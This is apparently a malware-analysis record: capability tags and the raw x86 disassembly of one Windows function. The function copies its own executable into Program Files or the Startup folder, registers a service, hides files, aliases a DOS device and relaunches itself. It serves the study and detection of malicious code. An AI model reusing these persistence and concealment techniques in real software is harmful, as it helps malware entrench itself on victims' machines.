Function at 0x10004470
Capabilities:
Check if file exists
Check os version
Contain obfuscated stackstrings
Copy file
Create process on windows
Get common file path
Get file attributes
Get startup folder
Query environment variable
Set file attributes
Terminate process
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8cc
push esi
push edi
call dword [sym.imp.USER32.dll_GetInputState]
xor edi, edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push edi
push edi
push edi
lea eax, [ebp - 0x2e4]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [ebp - 0x3c8]
push ecx
mov dword [ebp - 0x3c8], 0x94
call esi
cmp byte [0x1001b5e0], 0
je 0x100048e2
lea edx, [ebp - 0xc0]
push edx
mov dword [ebp - 0xc0], 0x9c
call esi
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
cmp esi, edi
je 0x10004525
push str.RtlGetNtVersionNumbers
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, edi
je 0x1000451e
lea ecx, [ebp - 0xb4]
push ecx
lea edx, [ebp - 0xb8]
push edx
lea ecx, [ebp - 0xbc]
push ecx
call eax
and dword [ebp - 0xb4], 0xffff
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [ebp - 0xbc], 0xa
jne 0x1000456a
cmp dword [ebp - 0xb8], edi
jne 0x1000456a
push edi
push edi
push edi
push edi
push 0x100037b0
push edi
push edi
call fcn.100078a0
add esp, 0x1c
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xf4240
call esi
jmp 0x10004561
mov al, byte [0x1001b5e0]
cmp al, 2
jne 0x10004700
call fcn.10003ed0
test eax, eax
je 0x100045bf
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
mov dword [ebp - 0x18], str.Rswkui_weuouewe
mov dword [ebp - 0x14], 0x100041c0
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], edi
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
lea edx, [ebp - 0x18]
push edx
call edi
push 0x3e8
call esi
lea eax, [ebp - 0x18]
push eax
call edi
jmp 0x100046cd
push 0x104
lea ecx, [ebp - 0x1c4]
push ecx
push str._ProgramFiles__
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push str.Agycmwc.exe
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x334]
push eax
mov word [ebp - 8], 0x7325
mov byte [ebp - 6], 0
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x1c4]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10004602
sub eax, edx
cmp byte [ebp + eax - 0x1c5], 0x5c
lea eax, [ebp + eax - 0x1c5]
jne 0x1000461e
mov byte [eax], cl
lea edi, [ebp - 0x1c4]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004625
mov cx, word [0x1001542c]
lea eax, [ebp - 0x334]
mov word [edi], cx
mov edx, eax
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10004640
lea edi, [ebp - 0x1c4]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10004650
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0xe1
lea edx, [ebp - 0x2c8]
mov ecx, eax
push edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea eax, [ebp - 0x1c4]
push eax
lea ecx, [ebp - 0x2c8]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.Cwuyym_ecucoaqaqymaiicagy
push str.Syaqwy_ueueoqgu
push str.Rswkui_weuouewe
call fcn.10003b50
push str.Default
push str.Rswkui_weuouewe
call fcn.100056b0
push str.Rswkui_weuouewe
call fcn.100035d0
add esp, 0x18
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push 0x100037b0
push 0
push 0
call fcn.100078a0
add esp, 0x1c
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp al, 1
jne 0x100049af
push str.Default
push str.Rswkui_weuouewe
call fcn.100056b0
push str.Rswkui_weuouewe
call fcn.100035d0
push 0x103
lea edx, [ebp - 0x2c7]
push edi
push edx
mov byte [ebp - 0x2c8], 0
call fcn.100082d0
add esp, 0x18
push edi
push 0x18
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push 0x103
lea ecx, [ebp - 0x1c3]
push edi
push ecx
mov byte [ebp - 0x1c4], 0
call fcn.100082d0
push str.Agycmwc.exe
lea edx, [ebp - 0x2c8]
push edx
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x1c4]
push ecx
mov bl, 0x5c
mov dword [ebp - 8], 0x255c7325
mov word [ebp - 4], 0x73
call fcn.10009181
add esp, 0x1c
lea edx, [ebp - 0x1c4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100048a9
push 0x104
lea eax, [ebp - 0x4cc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.Agycmwc.exe
lea ecx, [ebp - 0x2c8]
push ecx
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x1c4]
push eax
mov byte [ebp - 0x2c], bl
mov word [ebp - 0x2b], 0x3f3f
mov byte [ebp - 0x29], bl
mov word [ebp - 0x28], 0x7325
mov byte [ebp - 0x26], bl
mov word [ebp - 0x25], 0x7325
mov byte [ebp - 0x23], 0
call fcn.10009181
add esp, 0x10
lea ecx, [ebp - 0x1c4]
push ecx
lea edx, [ebp - 0x20]
push edx
push 1
mov dword [ebp - 0x20], 0x6b6d6761
mov dword [ebp - 0x1c], 0x327369
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x4cc]
push ecx
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x13], bl
mov byte [ebp - 0x12], 0x2e
mov byte [ebp - 0x11], bl
mov dword [ebp - 0x10], 0x6b6d6761
mov dword [ebp - 0xc], 0x327369
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
lea edx, [ebp - 0x2c8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.Agycmwc.exe
lea eax, [ebp - 0x2c8]
push eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x1c4]
push edx
call fcn.10009181
add esp, 0x10
push 0xa
lea eax, [ebp - 0x2c8]
push eax
push edi
lea ecx, [ebp - 0x1c4]
push ecx
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.10004310
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push 0x100037b0
push 0
push 0
call fcn.100078a0
add esp, 0x1c
mov esi, eax
push 0xffffffffffffffff
push esi
call edi
push esi
call ebx
jmp 0x100048b5
push 0x3ff
lea edx, [ebp - 0x8cb]
push edi
push edx
mov word [ebp - 8], 0x7325
mov byte [ebp - 6], 0
mov byte [ebp - 0x8cc], 0
call fcn.100082d0
push str.Rswkui_weuouewe
lea eax, [ebp - 8]
push eax
push str.Rswkui_weuouewe
call fcn.10009181
push 0x400
lea ecx, [ebp - 0x8cc]
push ecx
lea edx, [ebp - 0x18]
push edx
push str.Rswkui_weuouewe
mov dword [ebp - 0x18], 0x6e6e6f43
mov dword [ebp - 0x14], 0x47746365
mov dword [ebp - 0x10], 0x70756f72
mov byte [ebp - 0xc], 0
call fcn.10002880
add esp, 0x28
lea eax, [ebp - 0x8cc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x1000497b
push str.Default
push str.Rswkui_weuouewe
call fcn.100056b0
push str.Rswkui_weuouewe
call fcn.100035d0
add esp, 0xc
push edi
push edi
push edi
push edi
push 0x100037b0
push edi
push edi
call fcn.100078a0
add esp, 0x1c
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xf4240
call esi
jmp 0x100049a6
pop edi
pop esi
mov esp, ebp
pop ebp
ret